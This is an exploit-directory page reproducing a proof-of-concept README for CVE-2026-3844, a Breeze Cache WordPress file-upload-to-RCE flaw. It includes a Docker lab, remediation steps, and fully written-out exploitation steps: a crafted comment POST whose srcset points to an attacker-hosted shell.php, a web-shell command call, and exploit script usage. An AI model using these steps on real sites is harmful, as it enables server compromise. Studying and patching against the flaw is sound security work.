Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-3844 — Proof-of-concept exploit for CVE-2026-3844, an unauthenticated arbitrary file upload leading to remote code execution in Breeze Cache <= 2.4.4. Includes Docker lab and automated exploit script. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-3844
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubdinosn/cve-2026-3844

CVE-2026-3844

Proof-of-concept exploit for CVE-2026-3844, an unauthenticated arbitrary file upload leading to remote code execution in Breeze Cache <= 2.4.4. Includes Docker lab and automated exploit script.

View Repository
514 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-3844 — Breeze Cache <= 2.4.4 Unauthenticated Arbitrary File Upload to RCE

Overview

FieldValue
CVECVE-2026-3844
CVSS9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — Unrestricted Upload of File with Dangerous Type
PluginBreeze Cache by Cloudways
AffectedAll versions up to and including 2.4.4
Fixed2.4.5 (changeset 3511463)
Installs400,000+ active WordPress installations
Discovered byHung Nguyen (bashu)
Disclosed2026-04-23

Vulnerability

The fetch_gravatar_from_remote() function in inc/class-breeze-cache-cronjobs.php downloads remote URLs and saves them to a web-accessible directory using the original filename and extension from the URL. There is no MIME type validation, no extension whitelist, and no content inspection.

When the "Host Files Locally - Gravatars" setting is enabled, the plugin hooks into WordPress's get_avatar filter via breeze_replace_gravatar_image(). This function uses a regex to extract URLs from srcset and src attributes in the avatar HTML. An attacker can inject a malicious srcset attribute by posting a comment with a crafted author name, causing the plugin to download and cache an arbitrary PHP file.

Vulnerable Code

Vulnerable code in fetch_gravatar_from_remote()

What's missing:

  • No check that the downloaded content is an image (MIME validation)
  • No restriction on file extensions (.php, .phtml, .phar all accepted)
  • No content-type inspection of the HTTP response
  • The destination directory is web-accessible and allows PHP execution

Attack Flow

root@kitploit:~
Attacker                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Comment saved
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  get_avatar filter fires
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    extracts srcset URL via regex
   |                                        |    calls fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         PHP file content               |
   |         -----------------------------> |
   |                                        |  Saved to:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP executes as www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

Preconditions

  1. Breeze plugin version <= 2.4.4 must be installed and active
  2. "Host Files Locally - Gravatars" must be enabled (off by default, in Settings > Breeze > Advanced)
  3. WordPress comments must be open on at least one post
  4. The attacker's payload server must be reachable from the WordPress server

Docker Lab Setup

This PoC includes a self-contained Docker environment with:

  • WordPress 6.5 + Breeze 2.4.4 (vulnerable, with gravatar hosting enabled)
  • MariaDB 10.11
  • A Python HTTP server hosting the PoC payload

Prerequisites

  • Docker and Docker Compose
  • Python 3.8+ with requests (pip install requests)

1. Start the Lab

root@kitploit:~
cd docker/
docker compose up -d --build

Wait ~30 seconds for WordPress to initialize. Verify:

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Expected: Stable tag: 2.4.4

2. Verify Preconditions

Breeze version 2.4.4 confirmed

Comments open, gravatar hosting enabled

The Docker setup automatically:

  • Enables "Host Files Locally - Gravatars" (breeze-store-gravatars-locally: 1)
  • Opens comments on posts
  • Disables comment moderation (for immediate exploitation)

Exploitation

Manual Steps

Step 1 — Post the Malicious Comment

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

Replace PAYLOAD_IP with the payload container's IP:

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

Expected response: HTTP 302 redirect to the post page.

Malicious comment POST

Step 2 — Trigger Avatar Rendering

Visit the post page to make WordPress render the comment's avatar, which fires the Breeze get_avatar filter and downloads the payload:

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

The rendered HTML shows Breeze extracted the injected srcset and cached the payload:

Avatar rendering triggers payload fetch

Step 3 — Verify File on Disk

The PHP payload is written verbatim, owned by www-data:

shell.php on disk owned by www-data

Step 4 — Confirm RCE

RCE confirmed — id, whoami, uname, /etc/passwd

Automated Exploit Script

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Automated exploit script output

Script Options

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      WordPress target URL (required)
  -p, --payload     URL of the PHP payload to upload
  --post-id         Specific post ID to comment on
  --timeout         HTTP timeout in seconds (default: 15)
  --wait            Seconds to wait for cron (default: 12)
  --check-only      Only check plugin version, don't exploit

Teardown

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

Remediation

  1. Update Breeze to version 2.4.5 or later
  2. Workaround (if unable to patch): Disable "Host Files Locally - Gravatars" in Breeze settings
  3. Hardening: Add to .htaccess in wp-content/cache/breeze-extra/gravatars/:
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

File Structure

root@kitploit:~
cve-2026-3844/
  README.md              # This file
  docker/
    Dockerfile           # WordPress + Breeze 2.4.4 image
    docker-compose.yml   # Full lab (WP + MariaDB + payload server)
    entrypoint-custom.sh # Auto-configures WP with vulnerable settings
  poc/
    exploit.py           # Automated PoC exploit script
    validate.sh          # End-to-end Docker validation harness
  payloads/
    shell.php            # Harmless PoC payload (echo + id)
  screenshots/           # SVG terminal screenshots (Charm freeze)
  validation/            # RAPTOR exploitability validation output

References

  • NVD — CVE-2026-3844
  • Wordfence Advisory
  • WordPress Patch Changeset 3511463
  • Vulnerable Source (2.4.1 tag)

Disclaimer

This proof-of-concept is provided for authorized security testing, education, and defensive research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.

Download Tool